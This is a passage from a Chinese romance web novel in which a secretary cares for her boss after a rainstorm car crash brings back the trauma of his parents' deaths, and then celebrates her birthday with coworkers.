傅知尧机械地眨了眨眼睛。
不等他下车,那位撞车司机绕过来,看到傅知尧坐在车上一动不动,以为傅知尧是那个管事的人,直接冲上来骂。
“要死啊,坐在车里跟个雕塑一样,来港城旅游的外地仔吧,浪费港城空气啊,你知不知道我上面的人是谁,让这两条狗和我吵,我懒得浪费我的口舌啊!”
虞晚在那位撞车司机过来时,迅速将伞面压低,遮挡住傅知尧的脸,在那位司机说完后厉声反驳。
“首先,我们是正常行驶,不存在违规,其次是你越过实线撞车,你该庆幸这里没有出人命,你能在这里叫唤无非是仗着我们比你更懂礼义廉耻四个字怎么写!”
“你……”
佘师傅拦住那位司机,虞晚趁机弯腰,将傅知尧从车内带下来,用伞遮住他,带着他迅速朝着路边走去。
雨水在地上聚集不过两秒就顺着井盖流入下水道,不必担心道路积水问题,但四溅的雨水仍旧不可避免将两人裤腿打湿。
虞晚倒是不介意,反正她早在和那位司机说话时就已经被打湿,但老板现在情况明显不对劲,虞晚扶着他,尽可能将雨伞朝着他的方向倾斜,护着他。
到了路边,商户门口摆着一个铁质长椅,长椅旁的遮阳伞在雨中负隅顽抗,椅面只有靠近遮阳伞柄的那侧相对干爽。
虞晚将自己外套脱下来,平铺在椅子上,让傅知尧坐着,自己则站着撑伞。
傅知尧全程没有任何什么反应,比起先前的雷厉风行骄矜孤傲,现在的他彷佛退化封闭,一副不愿意与外界交流的脆弱模样。
虞晚没有去追问傅知尧情绪为什么不对劲,因为她知道,有些伤疤是一辈子都好不了的。
像是潮湿的雨,某个艳阳天的午后,忽然落下来。
虞晚站在遮阳伞下,确认雨水不会淋到她身上,让手中黑色伞的伞面朝着傅知尧倾斜,把剩余的时间留给傅知尧,让他自己缓过神。
伞内和伞外像是两个不同的世界,傅知尧被阻断的思绪一点点回笼,他的手腕仍旧被虞晚抓着,掌心温度透过衬衫布料渡来。
傅知尧愣愣抬头看虞晚,她离他很近,近到只要他稍微动一动,膝盖就能碰到她的大腿,白玉兰的香味掺杂着潮湿的雨水味道弥漫,他看到虞晚被打湿的肩膀和长发,看到虞晚探着脑袋张望道路边的情况,看她微微皱起细长的眉毛,睫毛在飘来的雨水中轻眨,一切彷佛成了慢动作,真实和虚幻相交,让傅知尧分不清自己到底在哪里。
下一秒,视线内虞晚的脸忽然靠近。
虞晚凑到傅知尧耳侧,控制好合适的距离,放轻声音:“老板,我刚刚联系了酒店让他们煮点红糖姜汤,我知道您不喜欢生姜,但是为了不感冒还是喝掉比较保险,您回酒店之后可以早点休息,今天合作的事情,我会整理好和公司同事对接的,明天早晨等您起床,我就向您汇报。”
虞晚说这话时眼神还在注意马路上的情况,也就没发现她和傅知尧之间越来越近的距离。
世界的声音好似霎那间落下,司机的谩骂声,狂暴的雨声,急躁的风声,以及虞晚的声音。
他在这一刻,和世界重新相连。
傅知尧指尖颤了颤,哑着嗓子开口:“虞晚。”
虞晚弯腰,再次躲进伞下,“怎么了老板?”
她表情正常,彷佛他刚才什么都没发生,对上那样一双明亮澄澈的眼,傅知尧一时不知该说些什么,沉默半晌,低声道:“……你安排就好。”
虞晚点头:“好的老板,车子已经到了,我们先回酒店。”
“嗯。”
不等傅知尧站起来,虞晚已经伸手将他扶了起来,和方才差不多的姿势,牢牢撑着他的手臂,好像他是什么弱不禁风的病人,两人贴得实在近,除了被下药那次,这是傅知尧和虞晚第二次近距离身体接触,过于亲密的动作,却不含任何欲望或者勾引意味,简单得过分。
傅知尧张了张嘴,最终什么都没说,紧绷的身体放松,将重量交付给虞晚。
雨滴裹挟霓虹灯的光影坠落,溅碎一地,水洼中,无数个虞晚和傅知尧倚靠在伞下。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
40-50
第41章
换了车,这次回程的路十分顺利。
抵达酒店后,黄经理适时送来两碗红糖姜汤。
虞晚摸了摸碗壁,小心翼翼喝了一口,温度微微烫,味道火辣辣又呛鼻,但为了不在淋雨后生病,还是得喝。
趁着浴缸放水的间隙,虞晚端起另一碗递到傅知尧面前。
“老板,有点烫,你慢点喝。”
傅知尧面色有些苍白,没什么情绪,端起姜汤缓慢喝尽,丝毫不抗议姜汤的味道。
喝完,他像是觉得身上潮湿的衣服不舒服,温吞吞站起身,进浴室前朝虞晚的方向看了一眼,迟钝半秒,关上浴室门,像是完全不介意虞晚待在他房间。
太明显的不对劲,让虞晚无法忽视。
她轻轻叹口气,将喝空的两个碗带走,关好老板房门,返回自己房间,抓紧时间洗澡洗头。
淋过雨的皮肤尤其冰冷,但喝完姜汤,毛孔里的汗水被逼出来,身上黏糊糊的,十分难受。
洗漱完,吹干头发,清清爽爽的虞晚又回来了。
她扎好长发,坐在床铺边,想了想,给蔡秘书发了条消息,询问他有没有时间接听电话。
看到虞晚消息时,蔡秘书还有些困惑,等电话打过来,听清虞晚说的内容后,沉默好几秒。
蔡杨说:“虞晚,你进公司时间虽然晚,但应该也知道老板的父母因车祸去世的消息,不过你大概不知道,那一场车祸并非意外,是人为的、刻意制造的车祸。”
“肇事司机患了癌症,家里没有钱治病,时日无多,但在车祸后,他的妻子和孩子搬去了另一个城市生活,还买了一个小公寓居住。”
虞晚一时哑言。
她明白,这是买凶杀人。
她急切地追问蔡秘书:“就没有找到证据吗,那个给卡车司机汇钱的账户没办法追踪吗?”
蔡秘书:“给的现金,并且,卡车司机在此之前什么都没告诉过自己妻子,他的妻子和孩子是完全的不知情者。”
也就是,那个策划杀掉傅知尧父母的人,现在还活在这个世界上,而傅知尧却无法从两个不知情者口中了解杀人真凶是谁。
虞晚看小说简介时并不明白傅知尧执着的复仇念头是为什么,但如果是亲人的离世,她好像就能理解了。
幸福的家庭一瞬间支离破碎,凶手至今仍未落网。
蔡秘书的声音在耳边响起:“不过老板这种情况我也是第一次知道,虞晚,老板现在的亲人只有他的奶奶马董事和妹妹傅许安,我待会儿将马董事的联系方式发给你,麻烦你打电话询问一下马董事,你放心我会提前告诉她的。”
不等虞晚拒绝,蔡秘书又说:“虞晚,你是不是困惑,以你的学历是怎么进的傅氏。其实
心爱孤儿院在十五年前就被马董事的慈善基金会资助了,你进傅氏,是走马董事开的后门,不过你千万别妄自菲薄,马董事对走后门的人要求可不输给那些名校高材生。”
原来她当时谨慎不已,生怕是隐藏地雷的offer原来是马董事的善心吗?
挂断电话,虞晚看着蔡杨发来的电话号码,犹豫片刻,做足心理准备打过去。
电话很快被接通。
“您好?”
“是虞晚对吧,蔡杨已经和我说过了,你好,我是傅知尧的奶奶,马吟芳。”
电话那边老妇人的声音慈祥和蔼,像是午后盖在身上的毛毯,虞晚紧张的心稍微放松。
介绍过自己,虞晚将傅知尧今日的情况详细描述一遍。
电话那边的马吟芳沉吟片刻,开口:“虞晚,我记忆中,知尧这种情况只发生过两次,第一次是在他父母去世当天,他一整日没说过话,第二次是他父母去世后的半年,当时他在雨中目睹了另一起车祸。”
“我很感谢你在这次知道知尧情况不对劲后打电话询问,你应该了解你的老板,知尧不是一个喜欢诉苦的人,如果不是你告诉我,我可能到入土都不知道他还会因为下雨和车祸这两件事应激,因为他表现得实在坚强。”
“虞晚,如果方便的话,能不能拜托你今晚多注意一下知尧,或者让他的空间稍微热闹一些,知尧从小就是一个喜欢热闹的孩子,不方便也没关系,这本就不属于你的工作范畴,今日的事情已经很麻烦你了,我替知尧谢谢你。”
电话挂断,虞晚看着窗外倾盆的大雨许久未动。
等虞晚抱着东西去敲傅知尧房门,距离傅知尧进浴室洗澡已经过了一个半小时。
虞晚敲了敲门,隔了好几分钟才等到开门,她差点以为傅知尧晕倒在淋浴间。
门打开。
虞晚一句“老板”卡在嗓子眼儿。
站在她面前的,是穿着白色浴袍的傅知尧,男人身后浴室门敞开,热腾腾的雾气倾泻而出,像是误入某种仙境。
傅知尧头发用毛巾粗略擦过,黑色短发尽数撩起搭在发顶,露出凌厉漂亮的眉骨,配上黑褐色的眼珠,混血感十足,发梢不依不饶往下滴着水,顷刻没入浴袍中消失不见,腰间白色浴袍带系得松垮,交迭的地方形成一条长长的V领缝隙,隐约能窥见浴袍下精壮的胸膛和起伏的腹肌线条,随着傅知尧走动若隐若现。
门打开后,傅知尧只轻飘飘扫她一眼,什么话都没说,转过身去了卧室。
虞晚视线往下移,瞧见傅知尧尚且沾着水珠的脚踝,这证明老板是听到她敲门声后才从浴缸中起来。
虞晚皱眉,她严重怀疑,要是她今天不过来,老板估计会在浴缸泡到第二天。
还好她来了。
虞晚抱着手里的东西进门,用背将门合上。
傅知尧在卧室换衣服,虞晚在客厅忙碌,听到老板换好衣服将要从卧室出来的声音,虞晚又扬声叮嘱:“老板,记得吹干头发!”
片刻,吹风机呼呼的声音在浴室内响起。
虞晚动作一顿,她没料到老板犯病时的个性如此‘乖巧’,‘乖巧’到不像他。
吹干头发,傅知尧看着镜子里的自己,短发凌乱,下巴上有细密的青色胡茬冒出来,眼皮微耷,整个人看起来格外憔悴,想到虞晚还在外面,傅知尧迟疑片刻,拿起剃须刀,对着镜子细细处理。
十分钟后,傅知尧踩着软绵的拖鞋走出来,瞥见在客厅里忙忙碌碌的小秘书。
他走近,眉目沉敛:“你在干什么?”
虞晚吓一跳,看到是傅知尧,拍拍她铺好的毛毯,仿若一个热情的推销员:“老板,你可以坐这里,这是我刚找黄经理拿来的新毯子,可软可舒服了,是全新的,非常干净。”
米白色毛毯很大,从茶几前的空地铺到沙发上,坐在毛茸茸的毯子里,被茶几和沙发前后包裹住,安全感十足。
虞晚伸手拍了拍毯子,再次示意他坐下,“老板?”
幼稚。
傅知尧心底是这么吐槽,动作却丝毫不拖沓,脱掉拖鞋,赤脚踩了上去,毛毯柔软,像是踩在云端。
他盘腿坐下,俊朗冷厉的脸上什么表情都没有。
“然后呢?”
“稍等。”
虞晚起身,跑去关掉房间内的灯。
傅知尧视线顿时陷入一片黑暗,只余下电视屏幕亮着的光,蓝光略微刺眼,他下意识闭上眼,再睁开眼,虞晚已经回来,半跪在毛毯上。
蓝白的电视机光线中,虞晚一脸认真看着他。
“老板,我知道我现在的行为可能有点无聊,也可能有点多管闲事,但你不讨厌就好,就当感谢您昨天为我点的那份珍珠糯米丸,我忘了告诉您,珍珠糯米丸比我想象中还要好吃,我很喜欢。我在下雨天的时候最喜欢一个人坐在房间看纪录片,如果今晚不工作,你的时间能不能留给这部纪录片?”
傅知尧嘴唇动了动,一句话也没能说出口。
“不过在看纪录片前,还有这个。”
虞晚从旁边袋子里窸窸窣窣拿出来,傅知尧就着电视屏幕的灯光看清,是一个类似圆盘的东西。
虞晚低头摆弄着那个圆盘一般的东西,一边念叨:“老板,你不需要闭眼,你可以认真看看待会儿会出现什么。”
“三,二,一。”
话音刚落,咔哒一声。
大大小小的光斑争先恐后从圆盘孔隙中跳跃出来,在天花板和四周墙壁上游动旋转,将空白无趣的房间瞬间变成流光溢彩的银河,星光流转,浩瀚无垠,两人坐在干净柔软的毛毯两端,任由繁星将他们包裹、融化,彷佛他们也徜徉进了银河之中,成为两颗再渺小不过的星星。
傅知尧眼睫颤了颤,光斑趁机落在他的眼底,他缓慢仰头,愣愣看着在他周围旋转的星空。
虞晚似乎很满意星盘灯的效果,拿出遥控器对准电视屏幕调频道。
傅知尧垂下眼,视线里,虞晚的左手恰好撑在毛毯上,细长白皙的手指,什么指甲油都没涂,指甲修剪得圆润整齐。
两人的距离相隔有些远,傅知尧将自己手慢慢挪过去,直到距离一厘米才停下,只要挪动最后一步,就能轻而易举碰上。
他的手掌怎么会这么大,一只手掌相当于她的两只手,她的手腕怎么会这么细,比刚冒尖的竹子都细,好像轻轻一折就会断,他的身躯也比她宽阔得多,从背后能将她整个人完全包裹起来。
但为什么,今晚在雨中,被虞晚撑开伞扶着朝路边走去的时候,他会觉得虞晚的身躯那么宽厚温暖呢。
好像该被呵护照顾的是他。
虞晚把他当成傅许安了吗?还是因为生病产生的错觉?
就在他思考的时刻,虞晚已经调好电视频道,将他沉凝的思绪唤回:“老板,我给您选了一部纪录片,这也是我最喜欢看的纪录片,如果不喜欢您再换。”
“嗯。”
傅知尧嗓音沙哑。
他应该将自己手收回的,但他没有这么做,房间光线足够暗,虞晚不会知道的。
虞晚又说:“老板,那您先看纪录片,我已经和前台预定好稍后送点感冒药过来,如果睡觉前您还是觉得不舒服,就把药喝了,我先回房间写报告了。”
说着,虞晚就要站起身,下一秒,手腕被滚烫的掌心攥住,将她起身的动作按了个暂停键。
虞晚转过脸看傅知尧,漆黑的眼眸中流露出困惑。
傅知尧喉结不自觉上下滚动,声音有些轻,差点淹没在纪录片的旁白音中:“虞秘书,工作不着急处理,一起看吧。”
虞晚眨眨眼,忽然想起马董事说傅知尧喜欢热闹。
没多犹豫,她坐下来,“好。”
傅知尧松开手,两人的距离恢复先前,将近五十厘米的距离,中间再坐一个人都可以。
电视屏幕上,蔚蓝的星球缓缓旋转,群鸟飞起高高掠过陆地,白雪皑皑的雪地里一只企鹅宝宝探出脑袋,旁白男声用英文讲述发生在他们生活的这颗星球上的故事。
虞晚看得津津有味。
这种类型的纪录片,虞晚没看过上百部,但上十部总归是有的,即便看过,虞晚还是看得很认真,大自然的一切都吸引着她,每次看纪录片,虞晚才会觉得生活在这颗星球上是多么幸运的事情。
傅知尧注意力开始还集
中在电视屏幕上,稍后,不由自主地落到虞晚身上。
周围星河还在转动,光斑变幻,却丝毫不如虞晚生动亮眼。
这是傅知尧过得最轻松的一个雨天。
缠绕在他身边的不再是潮湿的雨水以及淅沥的雨声,不再是午夜梦回间,他跪倒在车祸死去的父母面前,抱着他们的身体无力痛哭,鲜血混合雨水,似要成血海,将他吞没。
是浩瀚无垠的银河,是娓娓道来的星球变迁史,是柔软的毛毯,是白玉兰味道的洗发水。
他讨厌的雨天在今天忽然变得不再讨厌。
第42章
墙上时针指向十点半,纪录片进度过半,傅知尧微阖的双眼传达出他想睡觉的信号。
虞晚用体温枪给他测过额头温度,确认老板没有发烧迹象,叫醒老板去卧室睡觉,自己则利索收拾好东西,打着哈欠从老板房间离开。
毛毯和星盘灯都是借来的,是虞晚充分发挥主观能动性,跑去找酒店的黄经理借的。
酒店经理黄继家原是海市人,为了家里的妻儿,背井离乡来港城打工,准备多攒点钱在海市买房。
虞晚在租车时和黄经理交换了联系方式,从廖宅回来后她主动找上黄经理。
一是询问方才回程路上佘师傅的情况,得知处理妥当便安心了,二是想询问黄经理有没有毛毯和小夜灯类似的道具。
黄经理听她说完需求,大方将酒店仓库打开,让虞晚随意挑。
黄经理表示;“傅总是我们酒店的重要客户,对这种级别的客户,只要不是想上天这种过分无理的要求,我们酒店都会满足的。”
最终,虞晚拿到了被黄经理他们遗忘,前些年用来抽奖送给入住客人剩下的礼品星盘灯和一条干净宽大的毛毯。
黄经理原本都要送给她,但毛毯体积太大,她一个小小行李箱根本装不下,只能遗憾放弃。
虞晚将星盘灯留下,毛毯折叠好还给黄经理,麻烦他送去清洗,聊了几句,虞晚在手机上操作一番,转给了黄经理两张度假山庄的家庭旅游券。
黄经理有些错愕。
虞晚道:“我们老板的意思,今天的事情麻烦黄经理了,这是海市的度假山庄,可以让您的妻子带着家人去玩玩。”
黄经理脸上露出笑容,连连道谢,“傅总真是客气,这是我们应该做的,不过这旅游券可是解救我了,我妻子最近还在抱怨我没办法在七夕回去陪他们,这回总算能交差了。”
黄经理的语气看似埋怨,更多的是幸福。
虞晚客气收下对方的感谢。
实际上傅总什么都没说,但她作为小秘书得考虑周到,黄经理态度好,服务周到,帮忙准备红糖姜汤和感冒药等,又忙前忙后给她找东西,值得一个感谢。
然而仅仅只有感谢是不够的,这两张度假山庄的旅游券是傅总给她的,虞晚忙工作,哪里有时间去度假,原本还在发愁要不要将旅游券挂到二手市场卖掉,但此刻发挥上了用场。
将毛毯归还,虞晚回到了自己房间。
躺在柔软舒适的床上,虞晚没有一点睡意,闭上眼,脑子里都是傅知尧当时抬头看她的那空洞一眼。
原以为要花许久才能睡着,结果翻来覆去不到五分钟就和周公梦游去了。
第二天起床,虞晚精神满满,点好老板早餐要吃的餐食,便开始准备工作报告。
傅知尧和虞晚这回来港城不过是探路,如果成了,后续会有专业团队带人过来进行详细地沟通交流,敲定合作细节,签订合作合同。
如果没成,就像虞晚说的那样,和国内的一些医疗集团合作,但国内的医疗集团无论是影响力还是口碑,相较泽域差远了,可以说完全不是一个量级的。
这也是为什么老板会亲自登门,忍受对方临时更改见面地点,一切都是出于项目利益最大化考虑。
昨晚下了一整夜的雨,今日港城的雨便停了,但受台风天气影响,最早一趟航班在下午两点,因此虞晚又去前台续了个钟点房费用。
中午老板没出来吃饭,虞晚自然也不会出门,将菜点好,让人送进老板房间,吃过饭就窝在房间里工作,争取在回海市前将项目报告写完。
去机场的路上,还是黄经理安排的车,虞晚去后备箱帮忙安排行李摆放的时候,黄经理主动和傅知尧搭话。
黄经理真心实意道谢:“傅总,多谢您给的度假山庄旅游券,这本就是我的工作,劳您费心了。”
傅知尧淡淡瞥去视线。
黄经理一个眼神就懂了,主动解释:“是您拜托虞秘书转交给我的,您真是客气了,毛毯和星盘灯都是虞秘书找的,我不过是拿钥匙开个门,算不上帮了什么忙,但还要多谢您,我妻子和孩子也都很开心。”
傅知尧想起他随手扔给虞晚的两张度假山庄票,她自己不去享用,也没有变卖赚钱,反而给他做了人情。
傅知尧紧绷的眉眼舒展了些,谦让道:“客气了,昨天车祸的事情也多亏了你们。”
黄经理能明显感觉到傅知尧心情不错,笑着道:“哪里,每辆车都是有保险,出事故是对方驾驶问题,傅总您不必多想,您没有责怪我们已经是体恤我们了。”
等行李放好,虞晚坐上车,看到傅知尧面无表情的俊脸,眼眸微垂,面部线条凛冽,一副千万别和我说话的样子。
虞晚:“……”
什么是翻脸不认人,傅知尧这就是了。
昨天晚上还拉着她不让她回房间,今天就一副我很高贵你不配的表情。
不过虞晚能理解,从不对外表现脆弱,顶天立地又雷厉风行的大魔王忽然被一个平平无奇小秘书看见不为人知的一面,就是再冷静再持重也会觉得不自在。
虞晚没戳穿傅知尧的故作镇定,去机场的路上,规规矩矩同傅知尧说起昨天发生的事情:佘师傅出状况的车辆,借来的毛毯和星盘灯最终归属,以及和泽域合作项目汇报。
傅知尧顿了顿,重点跑偏:“所以你那个黑色手提袋里装着的是星盘灯?”
虞晚有些不好意思,微赧道:“还有酒店免费提供的小样……”
沐浴露、身体乳小样,洗发水、护发素小样,还有香水、肥皂小样,数不胜数。
虞晚觉得,她要是不拿,真的有些浪费这两天高昂的酒店费。
傅知尧看她一眼,喉咙里发出一声轻呵,他嗓音有些哑:“你昨晚给蔡秘书打电话了?”
蔡秘书毕竟是他的秘书,发生了什么,蔡秘书不会隐瞒他,自然的,也知道虞晚联系了奶奶马吟芳。
虞晚想起这一截,她还没来得及告诉傅知尧。
“对不起老板,昨晚给您拿毛毯之前,我擅自联系了蔡秘书,又给马董事打去了电话,知晓了一点内情,不过老板您放心,我不会乱说的。”
傅知尧眉梢动了动,似是不经意说出口:“你知不知道,你把我得病的消息卖出去,能拿多少钱?”
虞晚看着傅知尧故作镇定的表情,不知为何,想起昨天雨夜里傅知尧抬头看她的那一瞬。
同情一个资本家不是她这个打工人该做的事情,但虞晚觉得严肃正经的工作之外,应该有点温度。
虞晚视线没有挪动分毫,眼眸澹和干净:“老板,佛教中有一句话‘会者定离,一期一祈’,表明所有因缘聚合终有离散的那天,但离别的必然性,并不会阻碍我们珍惜当下缘分的降临。”
她很珍惜老板当初给她的机会,出卖老板这种行为,是她所不齿的,她不会做,即便她的确能靠出卖老板得到很多很多的钱,但生命中有很多东西是比金钱更重要的,不是吗?
虞晚的眼神实在明亮柔软,对视中,傅知尧最先败下阵来,转头看向窗外,一句话也没说-
月中发
工资时,虞晚看到奖金那栏可爱的五个数字,瞬间原谅了傅知尧在从港城返回时给她的冷脸,也原谅了老板从她手中抢走星盘灯的行为。
老板心情多变她是领略过的,但老板的大方,也是没人比得过的。
去财务部将出差需要报销的发票递交,进电梯的时候遇上了行政部总监董智珊,电梯内难得只有两人。
虞晚问好:“董总监好。”
电梯缓缓上行。
董智珊依旧涂着正红色口红,穿着简约款式的女士西装,气场强大,不期然开口喊了她一声:“虞晚。”
虞晚注意力被唤走,看向她,“您说。”
时隔一个多月,再提起仍旧有些尴尬。
她是上个月才从季主管口中了解到虞晚举报赵予书的前后因果,那次给虞晚打去电话让她去档案室拿文件的确是她的授意。
主要是虞晚工作踏实让她放心,对文件摆放位置了如指掌,需要什么文件,她能立刻从对应的位置找出来,还能将其他相关联的文件拿出来,也完全没有因为进了总裁办就趾高气昂,难得十分对她胃口的一个人。
只可惜让傅总选中了,她也不好意思同傅总抢人,所以偶尔就让虞晚去拿一些重要文件。
档案室共有五枚备用钥匙,一把在她手上,另外四把,三把在总裁办,一把在傅总办公室,让虞晚去拿文件便不需要反复将钥匙拿出来。
但她不知道虞晚和赵予书之间的龃龉,以至于让赵予书钻了空子,将虞晚关进档案室,她当时见虞晚迟迟没有给她送文件还以为是被其他事情耽搁了,也没多问,而给赵予书刷卡让她进行政部的,正是陈念优。
因此,实习期一结束,董智珊综合平日工作和考核表现,拒绝了陈念优的转正。
简单提了提,董智珊停顿两秒:“抱歉我上个月才知道这些,迟迟没有机会同你说一声道歉。”
虞晚微微睁大眼,反应过来,摇摇头,“没关系的,董总监,这并不是您的问题,是我自己没防备。”
董智珊知道一些实习生在初次进傅氏时容易‘适应不良’,但虞晚的行为恰恰映射了她对傅总和她们这些主管的不信任,虞晚在举报信中将证据链按照时间线罗列完整,只要是看过举报信的人,就没办法说出任何一句为赵予书开脱的话。
当初董智珊只顾着让虞晚遵从傅总的决定和命令,反而忘了叮嘱虞晚多相信自己上司。
董智珊语重心长:“虞晚,公司不是吃人的怪兽,你有同伴,也可以试试相信傅总和我们,一味独行是走不长远的。”
大概是董智珊第一次说这种话,别说是虞晚,就是她都有些不适应。
但看虞晚,笑得一双眼都弯了起来,似月牙,眼下卧蚕饱满圆润,“谢谢董总监,我明白了。”
对上这样一双真诚的眼,董智珊什么找补的话都说不出来。
最后从电梯离开的时候,董智珊往虞晚手里塞了一张餐券,“多余的,明天不是你生日吗,趁周末带你朋友去吃。”
虞晚低头一看,是一家米其林餐厅的消费券,预定日期消费券,消费额度还不低,这样一张券,怎么可能是多余的。
再抬头一看,董智珊已经刷卡进了行政区,虞晚连忙道谢:“谢谢董总监!”
声音扬了一个度,清冽动听。
董智珊将办公室办公室门合上,想起虞晚的笑,摇了摇头,颇有些无奈。
不怪傅总会选虞晚当秘书,不把情绪带入工作中,这句话有几个人能轻易做到?
第43章
虞晚生日在八月十八号,一个超级好记的日期,也是她在孤儿院门外被捡到的日子。
但虞晚本人是不太爱过生日的,可以说是不怎么过生日,偶尔生日过了好几天,虞晚翻日历才发现前几天是自己生日。
那些过生日邀请朋友来参加派对,收到漂亮鲜花和堆成山的礼物的场景虞晚是从没有过的,就连买蛋糕点蜡烛许愿的仪式感在虞晚这里也完全不存在。
她对生日最大的印象,无外乎是自己又长大了一岁,但这种概念早在新年到来时就知道了,不需要生日的刻意提醒。
不过生日的原因很简单,她当时活着都难,哪里有多余的心情过生日。
但现在不一样,虞晚有了稳定的收入,有一笔不菲的存款,也勉强算是个小富婆了。
更重要的是,她还有朋友。
综合多种因素考虑,虞晚决定将这周六定为庆祝日,在群里发了个消息,询问大家有没有时间一起吃顿饭,如果没有时间,下周周末也行。
周五早晨踏入行政区,虞晚原以为自己会是第一个,等走到前台那边,一道身影从工位后跳出来。
“surpries!”
是孙柠。
虞晚完全没被吓到,笑逐颜开:“柠柠,你怎么来这么早,吃早饭了吗?”
孙柠见没吓到虞晚,‘切’了一声,“没意思,怎么都吓不到你,我吃啦,我家今天煮了绿豆粥,说是败火。”
说着,孙柠将一个粉嫩的礼品袋递给虞晚,“特意早早来公司,就是为了第一个和你说生日快乐,虞晚,生日快乐!这是送你的生日礼物。”
虞晚接过礼品袋,笑得更开心了,“谢谢。”
孙柠见虞晚开心,跟着笑起来:“先说好,你回家再拆开看,我保证,绝对是最好的那个礼物!”
虞晚点头,一脸认真,“好,我一定完成任务。”
话音刚落,身后幽幽冒出一个人影,贴着虞晚的脖子,声音像是来索命的孤魂:“……什么任务,柠柠你太阴险了,说好中午一起送,你却第一个出现在公司,特意掐点好送给虞晚是吧?”
孙柠比赖言栩更早知道虞晚准确的上班时间,通常是提前一小时上班,所以孙柠今天难得起了个大早来公司。
她看着赖言栩,双手叉腰:“你好意思说我,你不也早早来了公司吗,我们之间半斤八两,五十步别笑一百步。”
赖言栩翻一个白眼,懒得和她计较,将自己准备的礼物抱起塞进虞晚怀抱,一个大大的纸箱,几乎将虞晚整个人给挡住。
“鱼丸,生日快乐,恭喜你,又美丽了一岁。”
虞晚抱着箱子,艰难维持站姿:“谢谢你,言栩。”
虞晚没有刻意告诉几人今天是自己生日,但孙柠一向心细,在她昨天发出邀请后,直白地询问是不是庆祝她的生日,还说她一定会赴约,热情得像个小喇叭,搞得其他两人知道了,纷纷表示会将时间空出来参加她的生日庆祝会。
虞晚感觉自己有些幸福,嘴角就没有下来的时刻。
孙柠帮着将纸箱拿到桌上放好,赖言栩同虞晚商量:“鱼丸啊,我觉得我们周六不用出去吃吧,叫上毛新灵,我们去你家,丸子,说实话,我真的非常馋你的厨艺,还想吃那道把隔壁小孩馋哭的话梅排骨!”
自从虞晚搬家那次品尝过她的手艺,赖言栩就深深为虞晚的厨艺折服,这次难得有机会,比起什么高端米其林餐厅,她更想吃虞晚做的菜。
孙柠想起虞晚的手艺,疯狂点头,掰着手指,报起菜单:“土豆牛腩,丝瓜蚬子汤,蜜汁鸡翅,酱油手撕鸡……”
虞晚听得头大:“停停停,来我家吃饭可以,不过这周我们还是去外面吃吧,我有一张米其林餐厅的消费券,空中花园餐厅,我上网查过,环境很漂亮,你们不想拍点美照吗?”
孙柠和赖言栩两人对视一眼,你看看我,我看看你,贪婪地决定,中午去吃
米其林餐厅,下午去逛街,晚上再去虞晚家里嗨。
没办法,相比其他两人,虞晚家无疑是最完美的庆祝地。
孙柠和赖言栩为了节省房租,目前还是和父母一起住,而毛新灵租的地方又太远,还是loft一居室,厨房站两人都嫌挤。
思来想去,虞晚家无疑最合适,就是房东比较怪,不允许其他人留宿,否则嗨一晚,在虞晚家打地铺睡觉也不错。
虞晚爱干净,东西收纳得整齐,家里地板总是一尘不染,可以光着脚随意踩上去,无论是装饰还是环境都深得其他几人喜欢。
虞晚宠溺又无奈地同意了两人的想法。
虞晚生日的事情并没有大肆宣扬,但大概是上回举报赵予书的事件闹得有些大,傅知尧借机整顿办公室风气,各部门主管那段时间没少开会,批评警告手下爱说闲话的员工。
因此,虞晚今天走在办公楼内,遇上好几人主动同她打招呼,祝她生日快乐。
虞晚觉得奇怪,中午吃饭时说起这事。
孙柠言之凿凿:“虞晚,你不会以为公司是学校吧,那些人都可精明势利了,你入职时候填的面试表不知道在多少人手里转过一圈,尤其是你还进了总裁办,要不是你平日里不怎么和那些人来往,拍你马屁的人绝对不比蔡秘书少!”
想到这儿,孙柠就觉得她格外聪明。
仔细分析一下傅总总裁办人员的构成:有稳坐一把椅资历深厚的尚秘书,有心思灵活擅长与人打交道的蔡秘书,有行事稳重、思虑周全的林特助,等林特助离开,虞晚这个脚踏实地沉迷工作的秘书又顶了上去。
就和古代朝堂一样,皇帝身边需要谄媚会来事的太监,也需要虞晚这样不被诱惑吸引堕落的御史!
御史虞晚:“……”
吃过午餐没多久,孙柠给她发了一条消息,附赠好几个感叹号表达震惊。
【鱼丸!你快过来!有人给你送花!!!】
现在刚好是休息时间,虞晚放下手机,去孙柠那边抱回了一束花。
一束相当漂亮的花,不像普通鲜花一般用花泥做支撑,是完全的手打花束,色彩斑斓鲜艳,各种样式鲜妍饱满的花枝被完美容纳在月白色的雪梨纸中,下方用一根飘逸柔亮的丝带系上,高级而具有美感。
虞晚在花束中翻了翻,最终找到了一张白色卡片,上方只有一句话:生日快乐
字体落拓有形,十分好看。
但到底是谁送的呢?
就在她猜测的时候,身后笼下一片阴影,熟悉的苦艾香气袭来。
虞晚转过头,果不其然看到了傅知尧。
傅知尧的目光不经意扫过虞晚手中捏着的贺卡,看清了上方写的字,简单的‘生日快乐’四个字,铁画银钩,苍劲有力。
字体太过眼熟,让他不由得皱了下眉。
傅知尧今日中午没在公司吃,去了趟老宅,和奶奶一起吃了顿饭,走出电梯没几步,一眼就看到抱着花束的虞晚。
她今天穿了深灰色小v领短袖,黑色西装裤用棕色细腰带系好,短袖下摆掖进去,稍微扯出一点轮廓,长发终于没扎低马尾,上半层头发用一枚黑色抓夹别住,下半层头发自然垂在肩后,整个人看上去干净利落。
注意到老板的视线方向,虞晚赶忙将卡片朝下塞进花束中,同傅知尧打招呼:“老板好。”
傅知尧平淡嗯了声,单手插兜走在她身侧,也没问花是谁送的,只是在回到办公室前,忽然朝她怀里扔了个包装精细的盒子,留下一句话。
“马董事给你的。”
虞晚抱着花束,手忙脚乱接住盒子,再抬头一看,傅知尧已经进了办公室。
虞晚:“……”
就不能稍微多给她一点时间,让她问问为什么吗?
虞晚抱着花束回到总裁办。
尚秘书出差去了,总裁办今日只有她和蔡秘书两人。
蔡秘书正靠在椅子上休息,见虞晚抱着一束花进来,好奇询问:“虞晚,谁送你的花呀,是不是因为今天你的生日?”
虞晚摇头,“不知道是谁送的,没署名。”
蔡秘书虽然平日里是个可靠的秘书,但他八卦的心理不输其他人,调侃道:“大概是某个暗恋你的人吧。”
虞晚赶忙打断蔡秘书的遐想,“也不一定,可能就是普通同事。”
话说完,虞晚自己也觉得离谱,怎么可能会有送花的普通同事。
蔡秘书知道虞晚的顾虑,善解人意:“虞晚,你还年轻,就算有追求者也没什么啊,多挑挑,多选选,不着急,也别害羞。”
虞晚:“……”
这话说的,明明蔡秘书年纪也不大。
